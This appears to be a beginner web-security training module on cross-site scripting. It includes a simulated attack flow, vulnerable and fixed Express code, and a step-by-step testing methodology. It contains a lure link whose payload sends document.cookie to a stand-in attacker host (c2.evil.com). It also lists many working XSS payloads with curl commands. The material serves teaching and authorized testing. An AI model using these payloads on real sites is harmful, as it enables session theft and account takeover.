Koding Siber Logo
Koding Siber
Academy CatalogWeb Application SecurityCross-Site Scripting and Client-Side Attacks
Beginner Level40 minsFree Preview Module
Category: Cross-Site Scripting and Client-Side Attacks

Cross-Site Scripting (Reflected, Stored and DOM-based)

Learn how reflected cross-site scripting attacks execute malicious scripts via URL parameters.

EXPLORERINTERACTIVE
Reflected XSS
HTTP
INFO:Lure link delivered: Reflected XSS
Attacker Infrastructure(attacker.io)
Malicious infrastructure hosting crafted phishing links, malicious iframe pages, or CORS exploit scripts designed to lure victims.
SIMULATION CONTROLSStep 1 of 5
Simulation Speed:
Simulation paused (click Play Flow or Next Step)
STEP 1 OF 5

INDUCING VICTIM INTERACTION

Attacker serves crafted vector or lure link

The attacker prepares an exploit payload designed for Reflected XSS and lures the authenticated victim into visiting a crafted page or opening a poisoned link.

Payload / Code Inspector
<!-- Attacker Exploit Vector: -->
<a href="https://target.corp/profile?name=<script>fetch('//c2.evil.com/?k='+document.cookie)</script>">
  Click here to view your bonus rewards
</a>
Defensive Mitigation
Implement context-aware HTML entity encoding, deploy strict Content Security Policy (CSP), and set HttpOnly and SameSite=Strict cookies.

PACKET FLOW (WIRESHARK INSPECTOR)

Click any row to jump to step
NO.TIMESOURCEDESTINATIONPROTOCOLINFOSIZE
10.000sattacker.io192.168.1.55HTTPLure link delivered: Reflected XSS180 B
20.014s192.168.1.55203.0.113.10HTTPGET /profile?name=<script> [With Session Cookie]224 B
30.028s203.0.113.10192.168.1.55HTTPHTTP/1.1 200 OK [Unescaped script in HTML body]1.2 KB
40.040s192.168.1.55192.168.1.55JSONDOM_EVAL: Injected payload executes in origin96 B
50.056s192.168.1.55c2.evil.comHTTPEXFILTRATE: Cookie data received by attacker C2164 B
Payload Inspector
STEP 1
Attacker Infrastructureβž”Victim Browser
HTTP
Transmitted Data
180 B
<!-- Attacker Exploit Vector: -->
<a href="https://target.corp/profile?name=<script>fetch('//c2.evil.com/?k='+document.cookie)</script>">
  Click here to view your bonus rewards
</a>
Attacker serves crafted vector or lure linkINSPECTED
Vulnerability Overview

What is Cross-Site Scripting (Reflected, Stored and DOM-based)?

XSS happens when user-controlled input ends up in a web page and gets interpreted as HTML or JavaScript instead of being displayed as plain text. There are three main types: - Reflected XSS -- the payload comes back in the same response (e.g., a search results page echoing ?q=) - Stored XSS -- the payload is saved on the server (a comment, a profile field) and executes later for anyone who views that stored content - DOM-based XSS -- the payload never touches the server at all; vulnerable client-side JavaScript reads it from the URL/page and writes it unsafely into the DOM
Impact
Attacker-controlled scripts execute in the victim's browser, enabling session theft, account takeover, defacement and phishing within the trusted origin.
Severity
MEDIUM
Technical Mechanism & Code Flaw

Root Cause Analysis

Reflected Cross-Site Scripting (Reflected XSS) occurs when an application takes untrusted user input from an HTTP request and includes it in the HTTP response without proper output encoding or sanitization. This allows an attacker to inject JavaScript that executes in the victim's browser.
Vulnerable Implementation (Anti-Pattern)UNSAFE
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
    const query = req.query.q;

    // VULNERABLE: User input is directly inserted into HTML
    res.send(`
        <html>
            <body>
                <h1>Search Results</h1>
                <p>You searched for: ${query}</p>
            </body>
        </html>
    `);
});

app.listen(3000);






Secure Implementation (Hardened)SECURED

const express = require('express');
const escapeHtml = require('escape-html');

const app = express();

app.get('/search', (req, res) => {
    const query = req.query.q || '';

    // SECURE: Escape untrusted input before inserting into HTML
    const safeQuery = escapeHtml(query);

    res.send(`
        <html>
            <body>
                <h1>Search Results</h1>
                <p>You searched for: ${safeQuery}</p>
            </body>
        </html>
    `);
});

app.listen(3000);
Detection & Penetration Testing Methodology

Detection & Penetration Testing Methodology

Testing Steps / Methodology

  • Identify all reflection points: URL parameters, form fields, headers (e.g. User-Agent), and stored content (comments, profile fields).
  • Submit canary payloads (e.g. a unique string containing <, >, ", ') and observe how each context (HTML body, attribute, JavaScript, URL) encodes them.
  • Submit proof-of-concept script payloads appropriate to each context to confirm execution (e.g. alert of a unique token) in a non-destructive way.
  • For DOM-based XSS, trace client-side JavaScript sinks (innerHTML, document.write, eval) back to attacker-controlled sources (location, postMessage).
  • Verify whether stored payloads persist and execute for other users/sessions, and document each confirmed instance.

Step 1 - Identify All Reflection Points

Goal: Map every place user input might reappear on a page - immediately (reflected), after being saved (stored), or through client-side JavaScript (DOM-based).

Reflected candidates:

  • URL query parameters - ?search=, ?error=, ?name=
  • Form fields that echo back on the same page (e.g., "You searched for: X")
  • Error messages that include part of the input
  • HTTP headers that get logged/displayed - User-Agent, Referer, X-Forwarded-For (some admin dashboards display raw request logs)

Stored candidates:

  • Comments, reviews, forum posts
  • Profile fields - display name, bio, "about me," signature
  • File names (uploaded file names often get displayed later)
  • Support tickets / contact form messages (visible to admins later)
  • Any field visible to other users or an admin panel

DOM-based candidates:

  • Any page using location.hash, location.search, or document.URL in its JavaScript
  • Pages using URL fragments for client-side routing (#/page/section)
  • postMessage listeners between frames/windows

How to find them:

zap-cli quick-scan --spider -r http://target.com

(crawl the site to map all input points)

For DOM-based candidates specifically, view page source and search for dangerous JS patterns:

curl -s http://target.com/page.js | grep -E "innerHTML|document\.write|eval\(|location\.|postMessage"

What to write down for each input: the field/parameter name, where it's reflected (same page / different page / email / admin panel), and whether it's server-reflected or client-side (DOM) rendered.

Step 2 - Submit Canary Payloads

Goal: Before trying to execute JavaScript, send a harmless unique string containing special characters. This tells you how the app handles your input - encoded (safe) or raw (potentially exploitable) - and in which context it lands (HTML body, HTML attribute, JavaScript string, or URL).

2.1 The canary string

Use something unique and easy to search for in the page source:

xsscanary123'"<>

2.2 Submitting into a URL parameter (reflected candidate)

curl -s "http://target.com/search?q=xsscanary123'\"<>"

Then check the raw HTML response for how it appears:

curl -s "http://target.com/search?q=xsscanary123'%22%3C%3E" | grep -o "xsscanary123.\{0,30\}"

2.3 Submitting into a form field (stored candidate)

curl -s -X POST http://target.com/comment \
  --data-urlencode "comment=xsscanary123'\"<>"

Then load the page where comments are displayed and check the source:

curl -s http://target.com/comments | grep -o "xsscanary123.\{0,30\}"

2.4 Reading the result - context matters

What you see in the HTML source Context Meaning
xsscanary123&#39;&quot;&lt;&gt; HTML body Properly encoded - likely safe here
xsscanary123'"<> (unchanged) HTML body Not encoded - vulnerable to HTML injection
value="xsscanary123'"<>" inside a tag attribute HTML attribute Your " broke out of the attribute - vulnerable
var x = "xsscanary123'"<>"; inside a <script> block JavaScript string context Your ' or " can break out of the string - vulnerable
<a href="xsscanary123'"<>"> URL/attribute context Check if it broke the href attribute

Each context needs a different payload in Step 3 - this is why Step 2 matters: it tells you which proof-of-concept to send next.

Step 3 - Submit Context-Appropriate Proof-of-Concept Payloads

Goal: Now that you know the context, send a payload crafted to actually execute JavaScript in that specific context. Always use a non-destructive confirmation payload - alert() with a unique token - never anything that modifies data or affects other users.

3.1 HTML body context

Used when your canary appeared raw, directly inside page content (not inside a tag or attribute):

<script>alert('XSS-POC-001')</script>

Where to submit: as the value of the vulnerable field/parameter, same as the canary.

curl -s -X POST http://target.com/comment \
  --data-urlencode "comment=<script>alert('XSS-POC-001')</script>"

If <script> tags get filtered, try an event-handler based alternative that doesn't need <script>:

<img src=x onerror=alert('XSS-POC-001')>
<svg onload=alert('XSS-POC-001')>

3.2 HTML attribute context

Used when your canary landed inside an existing tag's attribute (e.g., value="..."). You need to close the attribute and the tag first:

" onmouseover="alert('XSS-POC-001')
" autofocus onfocus="alert('XSS-POC-001')

Where to submit: same field, replacing the canary:

curl -s "http://target.com/search?q=%22%20autofocus%20onfocus%3D%22alert(%27XSS-POC-001%27)"

This works especially well on <input> fields, since autofocus triggers onfocus automatically without needing user interaction.

3.3 JavaScript string context

Used when your canary landed inside an existing <script> block, as a string value (e.g., var name = "YOUR_INPUT";). You need to close the string and the statement:

';alert('XSS-POC-001');//
";alert('XSS-POC-001');//

Where to submit: same field:

curl -s -X POST http://target.com/profile \
  --data-urlencode "displayName=';alert('XSS-POC-001');//"

3.4 URL/href attribute context

Used when your input lands inside href="..." or src="...". Instead of breaking out, you can sometimes use a javascript: URI directly:

javascript:alert('XSS-POC-001')

Where to submit: a field that becomes a link's destination, e.g. a "website" profile field that gets rendered as <a href="USER_INPUT">:

curl -s -X POST http://target.com/profile \
  --data-urlencode "website=javascript:alert('XSS-POC-001')"

3.5 Confirming execution

Load the page in an actual browser (not just curl, since curl won't execute JavaScript) and check whether the alert('XSS-POC-001') popup appears. Use a unique token in every payload (like XSS-POC-001, incrementing per test) so you can tell exactly which payload and which field triggered it when reviewing multiple tests later.

Step 4 - DOM-Based XSS: Trace Sinks Back to Sources

Goal: DOM-based XSS doesn't involve the server reflecting anything - the vulnerability is entirely in client-side JavaScript that reads attacker-controlled data (a source) and writes it unsafely into the page (a sink). You confirm this by reading the JS code, not by guessing payloads blindly.

4.1 Common dangerous sinks to search for

  • innerHTML
  • outerHTML
  • document.write
  • document.writeln
  • eval(
  • setTimeout( ... , string form)
  • setInterval( ... , string form)
  • insertAdjacentHTML
  • jQuery .html()

4.2 Common attacker-controlled sources

  • location.hash
  • location.search
  • location.href
  • document.URL
  • document.referrer
  • window.name
  • postMessage (message event data)

4.3 Finding the connection

Download and search the page's JavaScript for places a source flows into a sink:

curl -s http://target.com/app.js > app.js
grep -n "location.hash\|location.search\|document.URL" app.js

Look at each match and trace the variable forward - does it eventually get passed to innerHTML, document.write(), or similar without sanitization?

Example vulnerable pattern to look for:

var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = "Hello, " + name;

Here, location.hash (source) flows directly into innerHTML (sink) with no encoding - this is DOM-based XSS.

4.4 Confirming with a payload

Where to submit: directly in the URL fragment (#) - this never gets sent to the server, so it won't show up in server logs or Burp's proxy history by default; you must test it directly in the browser address bar or construct the full URL:

http://target.com/page#<img src=x onerror=alert('XSS-POC-DOM-001')>

For a location.search-based sink:

http://target.com/page?name=<img src=x onerror=alert('XSS-POC-DOM-001')>

4.5 postMessage-based DOM XSS

If the app listens for postMessage events and writes the data unsafely, you need a separate attacker-controlled page that sends the malicious message:

<!-- attacker-controlled page, e.g. poc.html, opened in another tab -->
<script>
  var win = window.open('http://target.com/page');
  setTimeout(function() {
    win.postMessage("<img src=x onerror=alert('XSS-POC-PM-001')>", "*");
  }, 2000);
</script>

Host this on any server you control and open it in a browser to test - it simulates a malicious site messaging the target page.

4.6 Browser DevTools approach (often faster than static code review)

Open the target page in Chrome DevTools, go to the Sources panel, and set a breakpoint on innerHTML writes or XHR/fetch calls (right-click an element β†’ "Break on" β†’ "Subtree modifications"), then navigate using a test payload in the URL and watch the call stack to confirm the source-to-sink flow live.

Step 5 - Verify Persistence and Document Each Instance

Goal: For stored XSS specifically, confirm the payload doesn't just appear once - it should execute every time any user (including a different session/account) views the stored content. This is what separates stored XSS from a one-off reflected finding.

5.1 Submit the stored payload from one account

curl -s -X POST http://target.com/comment \
  -H "Cookie: session=TEST_ACCOUNT_SESSION" \
  --data-urlencode "comment=<script>alert('XSS-POC-STORED-001')</script>"

5.2 View it from a different session/account

Log out, log in as a completely different test account (or use an incognito/private browser window with no session), and load the page where the comment appears:

curl -s -b "session=DIFFERENT_ACCOUNT_SESSION" http://target.com/comments | grep -o "XSS-POC-STORED-001.\{0,30\}"

Then open the page in an actual browser under that second account and confirm the alert() fires.

5.3 Check admin-facing persistence

If the field is something an admin would review (support ticket, contact form, flagged content), the highest-impact proof is showing it executes in an admin context - this often means privilege escalation or session theft is possible if a real attacker used a cookie-stealing payload instead of alert(). Only pursue this with explicit authorization and stop at proving the alert fires; don't attempt actual cookie theft against real admin sessions.

5.4 Document each confirmed instance

For every confirmed XSS, record:

  • Type (Reflected / Stored / DOM-based)
  • Exact input field/parameter
  • Exact payload used
  • Context it executed in (HTML body / attribute / JS string / URL)
  • Whether it persisted across sessions (stored only)
  • Screenshot or saved HTML showing the alert/execution

Evidence to save:

curl -v -X POST http://target.com/comment \
  --data-urlencode "comment=<script>alert('XSS-POC-STORED-001')</script>" > evidence_xss_stored.log 2>&1

For DOM-based and browser-executed payloads, a screenshot of the actual alert() popup (with the unique token visible) is the clearest evidence, since curl alone can't demonstrate JavaScript execution.

Evidence Table Template

No. Type Field/Parameter Context
1 Reflected ?q= search param HTML body
2 Stored Comment field HTML body
3 DOM-based location.hash β†’ innerHTML JS sink (innerHTML)
4 Reflected User-Agent header, shown in admin log viewer HTML body
No. Payload Used Execution Confirmed Persisted Across Sessions? Conclusion
1 <script>alert('XSS-POC-001')</script> Yes - alert fired N/A Confirmed
2 <script>alert('XSS-POC-STORED-001')</script> Yes Yes - visible to other accounts Confirmed
3 #<img src=x onerror=alert('XSS-POC-DOM-001')> Yes - alert fired N/A Confirmed
4 <script>alert('XSS-POC-002')</script> Yes - fired when admin viewed logs N/A Confirmed (admin-facing)
Hands-on Lab Exercise

Cross-Site Scripting (Reflected, Stored and DOM-based) Hands-on Lab

Launch your local laboratory environment to verify this vulnerability.

$ curl -X POST http://127.0.0.1:8080/api/target \ -d "probe=reflected-xss"
β€’ Goal: Verify vulnerable state behavior and apply defense
β€’ Solution: Enforce defense-in-depth and strict validation
Knowledge Check
ASSESSMENT

What is the primary, most effective defense mechanism against Reflected XSS?

Next Module in Cross-Site Scripting and Client-Side Attacks
Stored XSS
Continue to Next Module